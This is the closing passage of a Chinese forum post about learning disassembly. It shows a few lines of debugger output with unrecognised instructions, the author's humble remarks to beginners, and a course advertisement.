0040CD6B FFF9 ??? ; 未知命令
0040CD6D FFFF ??? ; 未知命令
0040CD6F FFF9 ??? ; 未知命令
0040CD71 FFFF ??? ; 未知命令
0040CD73 FFF9 ??? ; 未知命令
0040CD75 FFFF ??? ; 未知命令
0040CD77 FFF9 ??? ; 未知命令
以前调试别的程序也没见过这么多的?号,不明白,可能是我的调试的问题吧,呵呵~~~如果有大牛知道,告诉小弟一声,感激不敬~~
就说到这了,一看花了我两个小时的时间,五笔打的比较快,其中难免会有一些语法错误,大家都将就的看吧!我技术很菜,发这篇文章只是想给那些想学习反汇编或正在学习反汇编的人一些自己学习反汇编的方法,也许不是很对,但我想不管学什么,最重要的是要有一颗不浮燥,踏踏实实坚持走下去的信念,这才是最重要的~~
嗯,时间还早,还是再去研究我的8086汇编的保护模式下编程了,以后有机会在给大家写一些比较基础的文章,老大们就不要看了,免得浪费大哥们的时间,小弟会过意不去的,
呵呵~~~
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课